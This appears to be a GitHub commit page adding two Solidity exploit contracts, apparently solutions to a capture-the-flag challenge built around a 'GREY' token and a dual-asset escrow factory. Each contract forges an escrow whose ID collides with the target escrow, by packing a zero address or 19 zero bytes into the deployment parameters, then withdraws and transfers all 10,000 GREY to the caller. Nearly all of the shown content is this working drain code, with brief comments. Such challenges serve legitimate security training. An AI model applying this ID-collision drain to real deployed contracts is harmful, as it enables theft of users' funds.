-
Notifications
You must be signed in to change notification settings - Fork 115
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
27d7987
commit be03d2b
Showing
3 changed files
with
85 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
// SPDX-License-Identifier: UNLICENSED | ||
pragma solidity 0.8.15; | ||
|
||
import { Setup, DualAssetEscrow } from "src/escrow/Setup.sol"; | ||
|
||
contract Exploit { | ||
Setup setup; | ||
|
||
constructor(Setup _setup) { | ||
setup = _setup; | ||
} | ||
|
||
function solve() external { | ||
// Deploy escrow that has the same ID as the one to drain | ||
bytes19 zero_bytes = bytes19(abi.encodePacked(address(0))); | ||
(uint256 escrowId, ) = setup.factory().deployEscrow( | ||
0, // implId = 0 | ||
abi.encodePacked(address(setup.grey()), zero_bytes) // tokenY = 19 bytes of 0x00 | ||
); | ||
|
||
// ID of this escrow and the one to drain is the same | ||
assert(escrowId == setup.escrowId()); | ||
|
||
// Withdraw all GREY from the escrow to drain | ||
DualAssetEscrow escrow = DualAssetEscrow(setup.escrow()); | ||
escrow.withdraw(true, 10_000e18); | ||
|
||
// Transfer all GREY to msg.sender | ||
setup.grey().transfer(msg.sender, 10_000e18); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,30 @@ | ||
// SPDX-License-Identifier: UNLICENSED | ||
pragma solidity 0.8.15; | ||
|
||
import { Setup, DualAssetEscrow } from "src/escrow/Setup.sol"; | ||
|
||
contract Exploit { | ||
Setup setup; | ||
|
||
constructor(Setup _setup) { | ||
setup = _setup; | ||
} | ||
|
||
function solve() external { | ||
// Deploy escrow that has the same ID as the one to drain | ||
(uint256 escrowId, ) = setup.factory().deployEscrow( | ||
1, // implId = 1 | ||
abi.encodePacked(address(setup.grey()), address(0)) | ||
); | ||
|
||
// ID of this escrow and the one to drain is the same | ||
assert(escrowId == setup.escrowId()); | ||
|
||
// Withdraw all GREY from the escrow to drain | ||
DualAssetEscrow escrow = DualAssetEscrow(setup.escrow()); | ||
escrow.withdraw(true, 10_000e18); | ||
|
||
// Transfer all GREY to msg.sender | ||
setup.grey().transfer(msg.sender, 10_000e18); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters